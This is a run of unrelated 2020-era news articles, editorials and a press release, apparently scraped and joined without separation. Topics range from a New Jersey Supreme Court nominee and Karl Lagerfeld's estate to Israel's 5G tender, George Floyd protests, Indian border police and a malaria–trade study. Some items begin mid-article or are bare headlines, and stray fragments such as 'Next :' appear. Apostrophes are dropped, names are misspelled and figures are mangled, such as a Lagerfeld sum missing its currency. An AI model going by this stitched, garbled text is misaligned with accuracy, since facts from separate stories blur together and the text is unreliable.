Pierre-Louis later worked as head of the Trenton branch. There, she helped create the Trenton Reentry Court, which assisted federal offenders recently released from jail reenter society.

As a federal prosecutor, she also oversaw cases dealing with public corruption, defense contracting fraud and national security, narcotics offenses, child sexual exploitation, and allegations of racial bias by law enforcement, Murphys said.

Pierre-Louis now is a partner at Montgomery McCracken Walker & Rhoads in Cherry Hill.

With practically every step, she broke new ground, Murphy said.

The governor noted that everyone he and his team has spoken with about Pierre-Louis speaks about "her humanity, her empathy, and her character, calling her "the kind of person who always seeks to serve others and always carries with her the pride and perspective of her own past.

There is simply no better set of traits that I could hope for in a nominee  especially one who has the potential to serve our residents for a generation, ensuring that the perspectives of those who our laws and courts too often ignore are given a voice on the most prominent court in our state, Murphy added.

Pierre-Louis would ascend to the Supreme just five years after Timpone joined, ending a lengthy fight between Christie and Sweeney, the Senate president, over its makeup.

It started when Christie, a Republican, declined to nominate Wallace, a Democrat, for lifetime tenure in 2010 and vowed to reshape the court in a more conservative fashion. Sweeney, D-Gloucester, then refused to confirm Christies nominees to replace Wallace, and the courts seventh seat remained vacant for six years until Timpones appointment.

The court is currently made up of three Democrats, three Republicans, and one independent. Pierre-Louis, if confirmed, would maintain that balance.

Murphy, who has often presented himself as a contrast to Christie and frequently reversed his policies, said Friday that our Supreme Court must be independent." He said his administration is committed to make sure the court is independent of politics, where decisions are made based on what is right rather than what is popular or what is needed to secure re-nomination and tenure from any particular governor.

Pierre-Lewis would shift the gender balance of the court from five men and two women to four men and three women.

Our journalism needs your support. Please subscribe today to NJ.com.

Brent Johnson may be reached at bjohnson@njadvancemedia.com.
The ongoing wrangle over Chanel designer Karl Lagerfeld's estate has taken yet another complicated twist.

Lucien Frydlender, 87, was the fashion legend's trusted accountant for years, and is believed to be the only person with enough knowledge about his assets to help with Lagerfeld's succession after he passed away in Paris in February 2019.

It was long believed the designer left all his estate of 178,463,375 (200 million euros) to his beloved cat Choupette. However, the myth has since been debunked, and seven beneficiaries have been named.

Currently an inventory of the late designer's assets is being drawn up, including a bookstore, apartments in Paris and Monaco, his library and designer furniture.

However, the process has been complicated by the fact that Frydlender - who has an intimate knowledge of Lagerfeld's assets - is not taking anyone's calls, Le Parisien weekend supplement reported, according to Voici magazine.

Frydlander's wife, who remains unnamed, has defended her husband and explained he has not 'run off to an island,' but is simply too sick to help with the designer's will.

The only man who can help distribute Karl Lagerfeld's estate to his seven believed heirs has dropped from the face of the Earth

TShe said he has been a 'recluse' at home in Paris and is 'very sick,' not keeping a 'secret treasure' hidden away.

According to French media, Frydlender has refused calls from all of Lagerfeld's potential claimants or their representatives, and won't take appointments since closing his practice in September 2019.

Due to his decades of managing the designer's fortune, he is the only one who knows the exact state of his finances and if his estate can be distributed according to his will.

An investigation by Le Parisien revealed a will had been drafted by Lagerfeld before his death.

The frustrating issues surrounding the designer's estate has led to tensions between his former Chanel muse Baptiste Giabiconi (left) and his right hand man Sebastien Jondeau (right), pictured with Lagerfeld in Berlin in September 2009

For some time after he passed in early 2019, it was believed his Birman cat Choupette would inherit some of his fortune.

This is due to several statements Lagerfeld made over the years, including an interview with Le Figaro where he said Choupette had 'her own little fortune' and called her 'an heiress.'

In June 2013, he also told CNN he wished he could marry the feline, and never knew he could 'love a cat this much.'

It later was revealed a list of seven names had emerged, which included Lagerfeld's housekeeper, on the condition she kept taking good care of Choupette.

Also believed to have received a share of his fortune are British model Jake Davis, American model Brad Kroenig and his son Hudson, 11, who is Lagerfeld's godson, according to Le Parisien.

Tensions over the will have emerged between two of Lagerfeld's heirs, his former muse and boyfriend Baptiste Giabiconi and his right hand man Sebastien Jondeau.

The designer Birman cat Choupette was long believed too be his sole heir after he passed. In fact, the designer's housekeeper is believed to be one of his heirs, on the condition she keeps taking care of the feline

Giabiconi, who was Choupette's initial owner and gifted her to Lagerfeld, called himself the designer's 'favourite.

'There are seven main heirs to Karl Lagerfeld. On this list, my name is the highest, I'm the first heir.'

Giabiconi recently told French television he had a 'filial relationship' with Lagerfeld, after meeting him at a nude modelling session.

He said: 'As Karl was more interested in taste buds than sex, our relationship soon became one of father-son.'

Le Parisien claimed Giabiconi's claim to the title has sparked 'jealousies and dissensions'.

Baptiste Giabiconi, pictured with the designer in 2013 said he was Lagerfeld's spiritual son and his favourite heir while talking about the inheritance on French television

Meanwhile the magazine Voici published an article in March claiming the French model had lost touch with the designer before his death - and stated that his spirit heir is Jondeau.

'He is not even on the list of persons summoned to the notary for the inheritance! the sources told Voici, insisting Giabiconi and Lagerfeld have had a fall out in recent years and were not in speaking terms when the designer died.

Giabiconi quickly denied this and announced his intention to sue the publication for libel.

He went on to tell Le Parisien that none of Lagerfeld's friends had fallen out - and claimed the designer would have 'detested' reports which alleged they had.

'We are all in the same boat,' he said. 'We are sailing in mid-ocean and there is a beautiful sun and not the slightest storm.'
In Retrospect: News from the Jan. 20, 1922 and Jan. 19, 1972 Souderton Independent
June 4 was the deadline for companies to submit their bids for the deployment of 5G wireless networks in Israel. And while the Communications Ministry has not yet revealed the names of all the telecommunication groups participating in the tender for the next-generation cellular network, it seems that China was left out. According to a Channel 12 report May 27, the Defense Ministry recommended against allowing Chinese firms to participate in the construction of the countrys 5G infrastructure.

The closure of the 5G tender was certainly good news for newly appointed Communications Minister Yoaz Hendel. He said, "This is an important day for Israel, on the brinks of a new technological revolution. The fifth-generation technology will enable speedy developments in the fields of health, society, data accessibility, agriculture, economy and industry. It has diplomatic and security implications, but most of all huge potential to advance and evolve the state of Israel.

June 4 marks the completion of a process that started in Israel several years ago. After many discussions and consultations, the Communications Ministry published a call for proposals in July 2019. At the beginning, Israeli companies were unhappy over the conditions and criteria involved. Some of the companies boycotted the tender, while others petitioned the court against the framework imposed. It took several months of negotiations for the process to get rolling. Now that the deadline has passed, a committee is expected to examine the various proposals and decide on the winners, which could immediately start building antennas. In fact, the state plans to offer financial incentives to companies that build 250 antennas during the first year and a half after the conclusion of the tender.

5G networks should enable faster download speeds, which in turn might offer the operating companies access to connected technologies such as smartphones, computers and even cars. US President Donald Trump said in April 2019, "The race to 5G is a race America must win.  Its a race that we will win. And so, for the past two years, the Trump administration has been voicing its objection to Chinese companies, Huawei in particular, participating in Israeli 5G tender and in other infrastructure bids.

US Secretary of Defense Mark Esper met in February in Washington with his Israeli counterpart, then-Defense Minister Naftali Bennett. According to some reports, the issue of 5G was one of the issues that came up in the discussions. On May 13, Secretary of State Mike Pompeo visited Israel, meeting with Prime Minister Benjamin Netanyahu and his political partner Benny Gantz, who is now the defense minister. This meeting also included American warnings against Chinese involvement in the construction of infrastructure in Israel. In fact, following that visit, Hong Kong-based Hutchison was left out of the race for the construction of Israels largest desalination plant, Sorek 2. And on May 26, US ambassador David Friedman met with Hendel, who had been newly appointed as communications minister, to discuss the 5G tender. It appears that the US efforts bore fruit. Although there are no clear official Israeli statements to this effect, the likelihood of the countrys 5G infrastructure being built with Chinese technology is very low, if not nonexistent.

On the same note, Israels committee for inspecting foreign investment is expected to look into the request of Hutchison to buy stock in Israels telecommunications company Partner, which would allow the Hong Kong company to regain control of the business. However, Partner just participated in the 5G tender, and what looked like a done deal last year might not be the case this year.
DENVER, June 5, 2020 /PRNewswire/ -- RE/MAX Holdings, Inc. (NYSE: RMAX), parent company of RE/MAX, one of the world's leading franchisors of real estate brokerage services, and of Motto Mortgage, an innovative mortgage brokerage franchise, announced today that Chief Executive Officer, Adam Contos, and Chief Financial Officer, Karri Callahan, are scheduled to participate in a fireside chat at the 2020 William Blair Annual Growth Stock Conference on Thursday, June 11, 2020, at 12:00 p.m. CDT.

The fireside chat will be available via live audio webcast and archived replay on the RE/MAX Holdings' investor relations website at https://investors.remax.com.

About RE/MAX Holdings, Inc.

RE/MAX Holdings, Inc. (NYSE: RMAX) is one of the world's leading franchisors in the real estate industry, franchising real estate brokerages globally under the RE/MAX brand, and mortgage brokerages within the U.S. under the Motto Mortgage brand. RE/MAX was founded in 1973 by David and Gail Liniger, with an innovative, entrepreneurial culture affording its agents and franchisees the flexibility to operate their businesses with great independence. Now with more than 130,000 agents across over 110 countries and territories, nobody in the world sells more real estate than RE/MAX, as measured by total residential transaction sides. Dedicated to innovation and change in the real estate industry, RE/MAX launched Motto Franchising, LLC, a ground-breaking mortgage brokerage franchisor, in 2016. Motto Mortgage has grown to over 100 offices across more than 30 states.

SOURCE RE/MAX Holdings, Inc.

Related Links

https://investors.remax.com


60 273 Coronavirus PCR Tests Have Been Done in Georgia So Far - GeorgianJournal
Storyful

An observatory in Hawaii captured atmospheric pressure waves created by the eruption of the Hunga Tonga-Hunga Haapai volcano on January 15.The Gemini Observatory in Hawaii was 5,000 kilometers (3,000 miles) away from the eruption when it captured the atmospheric pressure waves on three different cameras. They are the faintly red waves seen in the footage, NOIRLab explained.The Hunga Tonga-Hunga Haapai volcano erupted on January 15, triggering a tsunami on the South Pacific nation of Tonga with waves up to 15 meters, according to information released by the Tongan government. At least three people were killed and dozens of properties were damaged across the islands. Credit: NOIRLab via Storyful
Cynthia Brehm needs to step down as Bexar County Republican Party chair.

She is an embarrassment to Bexar County and her party. Her nonsensical and unfounded conspiracy theories get more bizarre with each turn, and make our community and our local GOP the laughingstock of the country.

The absurdity of her latest allegation that George Floyds death was a staged event to rally opposition to President Donald Trump has finally received the attention of the states top Republicans, who have called on her to resign.

In a Facebook post earlier this week, which has since been deleted, Brehm wrote, I think there is at the very least the possibility that this was a filmed public execution of a black man by a white cop, with the purpose of creating racial tensions and driving a wedge in the growing group of anti-deep state sentiment from common people, that have already been psychologically traumatized by COVID-19 fears.

Her comments have prompted a call for her resignation from many Republican leaders, including Gov. Greg Abbott, U.S. Sen. John Cornyn, U.S. Sen. Ted Cruz, U.S. Rep. Chip Roy, who represents San Antonio, Lt. Gov. Dan Patrick and state Sen. Donna Campbell, R-New Braunfels, who represents Bexar County.

It is important Republican Party leadership has taken a stance. But its not like there havent been other opportunities to speak out against Brehm. A few weeks ago at a rally outside City Hall, she railed against social distancing rules in place and the wearing of protective face coverings, saying the coronavirus was a hoax perpetrated by the Democratic Party.

Why is this happening today? Brehm asked. Ill tell you why  all of this has been promulgated by the Democrats to undo all of the good that President Trump has done for our country, and they are worried.

A 51-second excerpt of that City Hall commentary went viral, the subject of national ridicule with 2.3 million views and nearly 6,000 retweets.

Brehms tenure as local Republican Party chair has been marked by controversy. Shortly after her election in 2017, news broke that Brehm, who had touted her experience as a military wife during her campaign, was married to a man who had pleaded guilty to exposing himself to Brehms daughter when the child was 14 years old.

Throughout her tenure she has made unsubstantiated claims and touted conspiracy theories about vote tampering within the Bexar County Elections Department. In December, she was involved in a physical altercation at the party headquarters that resulted in a police report that described Brehm as highly irate, irrational and angry. At one point before the primaries earlier this year, all the local top Republicans desperately tried to reason with her after she threatened to yank the party from the joint primary.

Brehm has invoked her freedom of speech for the Facebook post and has said she wont resign. But her freedom of speech was never abridged  this is merely the consequence of idiocy.

A call for Brehms resignation is simply not enough. Bexar County Republicans need to vote her out of office. She is in a July 14 runoff election for Bexar County Republican Party chairman against John Austin, a real estate appraiser.

If Brehm were to resign, she could still potentially come back on Aug. 3 if she is victorious at the polls in July. She does not merit a second term. Its highly unusual for us to make a recommendation for a party chair  we are nonpartisan  but we would recommend a rock over Brehm. A rock, at least, cannot espouse offensive conspiracy theories. A rock would not be a national embarrassment. Bexar County needs healthy functioning political parties.

Early voting begins June 29. Dont sit out this election.




Papua New Guinea Prime Minister James Marape told parliament yesterday that the former operator of the Progera Gold Mine, Barrick (Niugini) Ltd has nothing to offer as they do not own anything at all. In responding to a question by the Member for Alotau Charles Abel regarding the consequential losses of businesses and jobs through the closure of the Porgera gold mine since 27 April 2020, Marape said that his government is prioritizing to ensure the mine is reopened by September, 2020. It is understood that Dr Ila Temu who is a director and country manager for Barrick is the brother of Dr Puka Temu, the member for Abau and the parliamentary party leader for Our Development Party. Charles Abel is also a member of the ODP, and therefore it seemed obvious his questions were sponsored by Dr Ila Temu and Barrick to be raised in parliament.However, the Prime Minister with a deep conviction for a change strenuously stressed over a lengthy period that Barrick's term over the lease it held has expired and it must leave Porgera and PNG peaceful without fighting us in our own country.Marape further elaborated that the mine will be owned by the State, Enga Provincial Government and the Landowners. The equity participation split will be subject of further negotiations between the parties.Meanwhile, 2 months of Barrick's 12 months period under the Mining Development Contract to close the mine and remove its assets has lapsed. Its is understood that per the MDC, the assets will become State's property if Barrick fails to remove the assets within that 12 months period.Next :
A three-bedroom home on a large block in the suburbs sounds like the Australian dream, but increasingly such homes are seen as too big, too expensive, and not suitable for modern life.

Instead, a group of architecture students at the Queensland University of Technology have devised the "missing middle" - neither a tiny home, nor a typical suburban house.

A small dwelling designed by QUT architecture student Natasha Kooymans. Credit:QUT

Their task, set by architecture lecturer Kirsty Volz, was to reimagine modern living with flexible spaces and smaller buildings of up to 50 square metres, which could be put in a back garden or on a smaller suburban block.

Ms Volz said such carefully designed flexible buildings, compared with the average house size of 183 square metres, can become a granny flat, spare room, office, or extended living space.
Kihn said the school district is exploring plans to protect at-risk teachers. One factor, he said, is that many students wont attend in-person classes because they have a medical condition or live with someone considered high-risk. Teachers who must remain home may be able to teach those children virtually. And like many districts, D.C. is considering having students report to school for in-person learning some days and stay home on others, to allow for more social distancing on campuses. At-risk teachers may be given a greater share of distance-learning.
LANSING, MI  Most small businesses in Michigan are anticipating a sales decline of at least 10% because of the COVID-19 pandemic and one in seven arent confident theyll survive it at all.

Thats according to a new Small Business Association of Michigan survey of nearly 600 small businesses across the state.

A majority of small businesses surveyed also said theyre ready to reopen safely. The survey, conducted between May 26 and June 2, showed 90% of businesses are confident in their ability to prevent the spread of COVID-19 in the workplace and 75% said they already have a requisite COVID-19 preparedness and response plan in place.

Though the pandemic has been devastating for small business owners all across Michigan, they are incredibly resilient and have plans in place to protect customers and employees from the spread of COVID-19, SBAM President Brian Calley said in a statement. If given the chance, small businesses are ready to return to work and serve customers safely.

SBAM CEO Rob Fowler added in a statement, It makes sense that loss of sales and profitability top small business owners concerns as deal with closures and reductions that were caused by the pandemic. The road ahead likely wont be easy but we are hopeful that small businesses will be able to overcome these obstacles and survive these difficult times.

The survey also found:

81% of those surveyed said they are prepared for back-to-work activities, including having proper personal protective equipment for employees.

53% of small businesses laid off at least one employee.

87% of small businesses expect a decline in sales, while 60 percent expect a decline greater than 25%.

79% of businesses surveyed applied for the Paycheck Protection Program and only 1% reported being denied.

31% of small businesses surveyed are unable to open due to Gov. Gretchen Whitmers executive orders.

The Lansing-based Small Business Association of Michigan has more than 28,000 members in all 83 Michigan counties.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

More Michigan coronavirus coverage:

Friday, June 5: Latest developments on coronavirus in Michigan

Whats allowed to reopen in Michigan and what isnt?

From hair salons to gyms, experts rank 36 activities by coronavirus risk level

Michiganders waiting for unemployment could get bridge loans under bill
The younger brother of George Floyd, Terrence Floyd, called out to protesters in Minneapolis to establish peaceful protests in a speech on June 1. He also urged the public to vote amid brutal demonstrations that have awakened the city since George Floyd's murder.

Terrence said at the area where George died after a policeman knelt on his neck on Monday, "If I'm not over here blowing up stuff, messing up my community, what are y'all doing? Y'all doing nothing." He noted that what they are doing is not going to bring his brother back, as posted by NBC News on Twitter.

George dying in the custody of Derek Chauvin and other police officers have led to the advent of massive protests.

He was sided by New York activist Chris Banks, executive director of East New York United Concerned Citizens Inc., and Reverend Kevin McCall.

Terrence Floyd told ABC News that he desires for justice to be imposed over the police officers that need to be accountable for his George's death.

According to Fox News, "(S)ometimes I get angry, I want to bust some heads, too," Terrence Floyd remarked. "I wanna ... just go crazy. But I'm here." He shared that his brother is not about violence, but of peace and that he was a gentle giant.

The protests emerged after a video surface of 46-year-old George having difficulty breathing amid the white police officer forcing a knee into his neck for almost 9 minutes.

Also Read: Cole Sprouse Arrested During Peaceful Black Lives Matter Protest

The younger brother was in tears at the area where George was arrested telling the crowds. He told the crowds that he acknowledges that the public is frustrated, but he doubts that they are half as upset as he is.

He shared that his family is peaceful and God-fearing, as reported by Daily Mail. He pleaded for people to switch it up and carry out protests peacefully because his brother would not want them to be doing this.

Terrence said that equivalent to police violence, the same action has been transpiring as they protest and destroy stuff, not moving.

His knees bended while presented with a large painting commemorating George, with an outline of a person on the ground illustrating the spot wherehis brother was murdered by a policeman, ABC News said. In prayer, he then knelt at the shrine where numerous people had left flowers. His emotionality persuaded the throngs of people to put an end to the violence in demonstrations.

Also, a Brooklyn preacher spoke Wednesday on behalf of Terrence.

"Terrence Floyd is overwhelmed at this moment and he wanted to be here today but he told me to deliver this message on his behalf as his spokesman; he wanted to call for peace," according to Rev. Kevin McCall. He added that Terrence wanted to call for justice and that you cannot get one without the other.

Terrence provided the heart-stirring speech the 38th Street and Chicago Avenue South's intersection at Minneapolis.

Vogue reported that someone at the crowd shouted, "It's not us," while another called out, "White nationalists."

Related Article: All Four Minneapolis Ex Police Officers Charged in George Floyd's Death

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
After its spring season was interrupted because of the pandemic, Off the Grid is returning to San Franciscos Fort Mason, albeit in a smaller form for the foreseeable future.

On Monday, Off the Grid launched a spin-off project called the Fort Mason Center Food Spot, which will be a scaled back version of the traditional Off the Grid experience on the waterfront. Before the pandemic, an Off the Grid event on the property held on Fridays from spring to fall regularly accommodated thousands of diners and dozens of popular Bay Area food trucks.

The Fort Mason Center Food Spot will have a rotating list of only about five food trucks, with the first lineup including Capelos Barbecue, Al Pastor Papi, Lamas Peruvian, Korean Bobcha and Izzys Cheesesteaks. By the end of June, Off the Grid expects to have similar versions of the Fort Mason Food Spot popping up at 20 public spaces throughout the Bay Area.

Matt Cohen, Founder and CEO of Off the Grid, said the new venture is part of a multi-step process leading back to normalcy. After the massive seasonal event was ultimately canceled, many of the food businesses that counted on Off the Grid to generate revenue have been suffering, financially, he said.

Were giving this a different name because we didnt want to give people the impression that the market is back open, he said. We have room to scale but we want to make sure we have the right safety practices in place. We dont expect this to be gangbusters in the very beginning in terms of turnout.

Cohen said event participants will follow safety requirements issued by the San Francisco Public Health Department, such as putting tape on the ground to mark where customers can social distance while waiting in line. Food service areas will be cleaned with disinfectant wipes every hour and contact-free payment formats will be offered at all of the food trucks. Customers will also be directed by staff to view a trucks menu on their phone instead of standing near a truck to read its posted menu.

Off the Grids new event is coming to fruition at a time when more local restaurants are looking to expand their businesses through food trucks. In May, local restaurant industry leaders began looking into ways to make it easier for a brick-and-mortar restaurant to open a mobile food operation. The permitting process for a restaurant to open a food truck now takes about six months.

Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more.

Open air dining is going to be an important part of the emerging food landscape at least for the next year, Cohen said. I think we can play a role with not only what weve learned over the last 10 years with Off the Grid, but also what weve learned the last eight weeks.

Update: After a brief delay, the Fort Mason Food Spot opens June 15 at the Fort Mason Center. The venture was originally slated to open June 8.

Fort Mason Food Spot. Monday to Friday. 5 to 10 p.m. Fort Mason Center, 2 Marina Blvd., San Francisco. www.offthegrid.com; https://fortmason.org/

Justin Phillips is a San Francisco Chronicle staff writer. Email: jphillips@sfchronicle.com. Twitter: @JustMrPhillips
Nice aint going to cut it against a gangster presidency. There is no bottom in the basement of this White House. And nobody knows this better than the Republicans who refuse to follow a tyrant.

Consider Mourning in America, another ad from the Lincoln Project, a political action committee of prominent Republicans whose leaders include George Conway, the husband of Kellyanne Conway, a presidential adviser, and Steve Schmidt, a former strategist for John McCain and George W. Bush. Over dystopian images of body bags, shuttered stores and the fog of despair, a somber narrator says, Under the leadership of Donald Trump, our country is weaker and sicker and poorer. When the low-budget ad ran on Fox News, Trump went ballistic  exactly the high-budget response that the Lincoln Project was trying to solicit.

Lovers of civility and nuance may be appalled by this kind of whack to the head. Democrats, being Democrats, will fight over policy, identity and no small number of nonsensical slights. Republicans will chant Lock her up until a majority is convinced that their opponent is a criminal.

This is not to say that Democrats should mimic the say-anything Republicans; lets hope that mob-rule cohort gets buried with Trump in November. But the best way to win is to make the election a referendum on Trump and his legacy of American carnage.

This is a race of Trump versus Trump, Rahm Emanuel told The Times. And Trump is losing.

In desperation, Trump is trying to frame the election as law and order against anarchists, looters and thugs. It wont work, unless the violent fringe gets out of hand. The majority is with the protesters  54 percent in favor, including almost 40 percent of Republicans, against 22 percent who oppose, in one poll.

Its time to keep the foot on the pedal. Trump registered as a voter (where he cast his ballot by mail) in Florida, but listed his residence elsewhere. Isnt that voter fraud?

Trump has baselessly smeared an MSNBC host and former Republican member of Congress, Joe Scarborough, all but accusing him of murder. Isnt that the bearing of false witness prohibited in the Bible revered by his evangelical supporters?
As the standoff between the armed forces of India and China continues at the Line of Actual Control (LAC), the Indo-Tibet Border Police (ITBP) has operationalised its newly sanctioned commands in Chandigarh and Guwahati for better supervision of troop deployment.

The cabinet had, in October 2019, approved two new commands -- the Western Command at Chandigarh and Eastern Command at Guwahati -- to be headed by an additional director general (ADG) rank officer in the ITBP.

In an order issued on June 3, ITBP director general S S Deswal said: an imperative need is felt to make these establishments functional immediately. Inspector general (operations) M S Rawat will take over charge of the western command in Chandigarh with immediate effect in the capacity of ADG, the order said.

Another IG rank officer will soon head the Guwahati-based eastern command, an official said. The commands will streamline operations, intelligence, deployment and administrative movements of ITBP personnel to the border regions and also bring better synergy with the army that secures the LAC, the officer added.

ITBP currently has no ADG rank officer posted with it so a decision was taken to deploy IG rank officers.

Officials said the recent standoff between Indian and Chinese forces in the Ladakh area and other parts of the LAC was a major reason for the quick initiation of the two commands.

The ITBP has recently augmented its strength at the border posts owing to the standoff with the Chinese Peoples Liberation Army (PLA).

There are three ADG posts in the force at present and none is occupied as the Delhi high court has ordered a stay on the appointment of Indian Police Service (IPS) officers to paramilitary or Central Armed Police Forces of the rank of inspector general and above.

While sanctioning the two commands on October 23, 2019, the Union cabinet had also sanctioned about 60 posts of officer ranks in the force.

The western command will have control over ITBP deployments in the Dehradun-based Northern Frontier that includes the Shimla, Dehradun and Bareilly sectors, and the North-West Frontier, which was shifted from Chandigarh to Leh in April last year and includes the Srinagar and Ladakh sectors. The ITBP Leh frontier is headed by an inspector general-rank officer who is equivalent to a major general of the army.

The ADG rank officer is equivalent to a lieutenant general in the army.

Leh also houses the XIV Corps of the Army that was raised in the aftermath of the 1999 Kargil war.

The eastern command will look after ITBP deployment in the northern frontier and the north-eastern frontier.

The ITBP is trained for mountain warfare and its troops were present along with the army during the recent standoff with Chinese forces in the Ladakh area. It undertakes short-range and long-haul patrols along the LAC as part of its mandate to guard the icy Himalayan front marred by incidents of transgressions between the two countries due to differing perception of the border region.
Only a week ago, the world saw a video of Minneapolis officer Derek Chauvin kneel on George Floyds windpipe with an eerily calm demeanor, while officers Tou Thao, J. Alexander Kueng, and Thomas Lane acted as the lookout men. Despite what we all saw, however, Hennepin County Attorney Mike Freeman at first refused to arrest or indict any of the four men, insisting, I will not rush to justice. This was keeping with his prosecutorial instinct; in his first 16 years in office, Freeman did not charge a single officer for a civilian killing.

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After days of relentless local and national protests, Freeman finally brought a third-degree murder charge against Chauvin. Minnesota Attorney General Keith Ellison soon stepped in, announcing on Wednesday that he would enhance the original charge against Chauvin and also bring charges against the three officers who watched and held the crowd back. However, it took a nauseating video, the herculean efforts of protesters, and global outrage simply to trigger criminal proceedings. That is because the local prosecutors instinct was to protect the officers he works with rather than the citizens he serves.

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Freemans initial reaction is a normalized pathology that extends beyond Minneapolis. Many prosecutors around the nation have a toxic, co-dependent relationship with police. Prosecutors and police are more than just institutional allies in law enforcement; they are often partners in the polices crimes. The seemingly unending list of young Black people killed by police without local repercussionsMichael Brown, Philando Castile, Stephon Clark, Eric Garner, Tamir Rice, Alton Sterling, and morespeaks to this phenomenons persistence and national scope. So, while many will focus on the short-term victory of criminal charges, prosecution alone will not prevent the next atrocity. We need a complete overhaul of the prosecutor-police relationship.

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As we argued recently in the Boston University Law Review, police exert significant control over prosecutors in both formal and informal ways. For example, in sociological research examining police and prosecutorial practice in Chicago, prosecutors relied on police testimony to win trials, and those trial wins were essential to earning promotions within the office. Prosecutors described an overt pressure to comply with a police culture of silence and violence that all but dictated that prosecutors operate with blinders on. This meant that questioning an officers version of events, whether there was a dead suspect or just a missing bag of drugs, was seen as a sign of disrespect to the officer. Conscientious prosecutors who questioned the legitimacy of a police report or the word of an officer could end up with tarnished reputations amongst law enforcement, resistance from officers, and marginalization in the office.

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This perverse incentive structure normalized police perjury and created the conditions upon which police misconduct could thrive in small and big ways. These practices stacked the deck in favor of the state in run-of-the-mill prosecutions and often violated the lawboth state and constitutional. But, in the most extreme cases, where a suspect was shot or killed, they helped ensure that there was no justice for the victim or community, no accountability for the police, and the officer involved was allowed to continue walking their beat.

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Despite the power that police exert over prosecutors, however, prosecutors are not exactly potted plants either. The law gives prosecutors vast discretion to criminally charge and otherwise decide the course of criminal cases. But when police are the ones committing crimes, prosecutors often deploy that power to cover for and effectively encourage the criminality, rather than to combat it and seek justice. After all, prosecutors know where their bread is buttered.

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This occurs in overt ways, like charging (though later dropping, under pressure) Breonna Taylors boyfriend in order to whitewash a murderous no-knock warrant. But it also takes more mundane forms. Failing to disclose a witness statement that contradicts a favorite officer; dropping charges that involve police misconduct, before a judge can hold the officer accountable in open court; even quietly but effectively lobbying against police reform. These subtle manipulations of the criminal justice system allow the gravy train to keep running and, eventually, make the failure to charge an officer like Chauvin not a momentary lapse, but the natural culmination of a career-long partnership. This is why, even if officers like those in Minneapolisor nationwideare eventually charged for their crimes, those one-off instances are unlikely to stop police and prosecutors writ large from continuing their mutually beneficial dance.

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There are straightforward fixes to this state of affairs, including increased oversight, ending police-protective doctrines like qualified immunity, and electing truly independent prosecutors. When it comes to officers like Chauvin who have a history of complaints, prosecutors can refuse to call them to testify in criminal cases.

However, we need to properly diagnose the problem before discussing solutions. Much like Americans tend to ignore voting rights until election years, or pandemic prevention until after one hits, we tend to scrutinize the prosecutors role in police violence only in the wake of high-profile killings. And rarely do we consider police-prosecutor co-dependence as a systemic, national phenomenon, rather than a static, local one. But we need to start. Only then will we understand how Chauvin could remain so calm and at ease, with his hands in his pockets, as he killed George Floydeven with numerous cameras and his own bodycam running. Perhaps it was the near assurance that Floyds death would be of little importance to his prosecuting counterparts, at least compared with the hundreds of cases they would need Chauvin for in the future. Perhaps he believed that prosecutors would, as so many had before, step in and clean up the scene of his crime.
Curious just how far your dollar goes in San Antonio?

We've rounded up the latest places for rent via rental sites Zumper and Apartment Guide to get a sense of what to expect when it comes to hunting down affordable apartments in San Antonio if you've got a budget of up to $1,100/month.

Take a look at the listings, below. (Note: Prices and availability are subject to change.)

Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions.

1107 Austin Highway (Terrell Heights)

Listed at $1,002/month, this one-bedroom, one-bathroom apartment is located at 1107 Austin Highway.

When it comes to building amenities, anticipate a swimming pool and a gym. Cats and dogs are not permitted. Future tenants needn't worry about a leasing fee.

According to Walk Score's assessment, this location is somewhat walkable, has some bike infrastructure and has a few nearby public transportation options.

(Take a look at the complete listing here.)

Henderson Pass (North Central Thousand Oaks)

Next, here's a two-bedroom, two-bathroom apartment situated at Henderson Pass. It's listed for $1,005/month for its 972 square feet.

The listing promises a mix of hardwood floors and carpeting, a dishwasher and a walk-in closet in the unit. For those with furry friends in tow, this property is pet-friendly. There isn't a leasing fee associated with this rental.

According to Walk Score's assessment, this location is moderately walkable, has minimal bike infrastructure and has some transit options.

(See the complete listing here.)

11707 Vance Jackson Road (Vance Jackson)

Then, there's this 920-square-foot two-bedroom, two-bathroom apartment at 11707 Vance Jackson Road that's going for $1,005/month.

The building has additional storage space, on-site laundry and a swimming pool. Pet owners, rejoice: This property is both dog-friendly and cat-friendly.

According to Walk Score's assessment, this location is car-dependent, is somewhat bikeable and has a few nearby public transportation options.

(See the full listing here.)

1010 Locke St. (Government Hill Alliance)

Finally, check out this 1,150-square-foot three-bedroom, two-bathroom apartment that's located at 1010 Locke St. It's listed for $1,007/month.

The building features secured entry and a swimming pool. You can also expect to find a dishwasher and hardwood flooring in the apartment. Pet lovers are in luck: The rental is both dog-friendly and cat-friendly.

Per Walk Score ratings, the area around this address isn't very walkable, has minimal bike infrastructure and has a few nearby public transportation options.

(Take a look at the complete listing here.)

Working with a tight budget? Here are the cheapest rentals recently listed in San Antonio.

This story was created automatically using local real estate data from Zumper and Apartment Guide, then reviewed by an editor. Click here for more about what we're doing. Additionally, if youre in the real estate business learn how to do local real estate advertising in your ZIP codes.

Got thoughts? Go here to share your feedback.
A paper recently published in Nature Communications is the first to show a connection between demand from certain developed countries for agricultural commodities and the growing risk of malaria in the countries that supply those goods. The study was conducted by scientists affiliated with the School of Public Health of the University of Sao Paulo (FSP-USP) in Brazil and colleagues at the University of Sydney in Australia.

According to the article, approximately 20% of the malaria risk in deforestation hotspots is due to the international trade in goods such as timber, wood products, tobacco, cocoa, coffee and cotton.

The researchers used data for the period 2000-2015. The study was part of the "Latitudinal landscape genomics and ecology of Anopheles darlingi" Thematic Project supported by Sao Paulo Research Foundation - FAPESP.

The methodology, which correlates world trade routes with data on forest cover loss in the agricultural commodity exporting countries where malaria occurs, was developed by Maria Anice Mureb Sallum, a professor at FSP-USP, and her PhD student Leonardo Suveges Moreira Chaves, the first author of the article, in collaboration with Manfred Lenzen, a professor at the University of Sydney, and his research group.

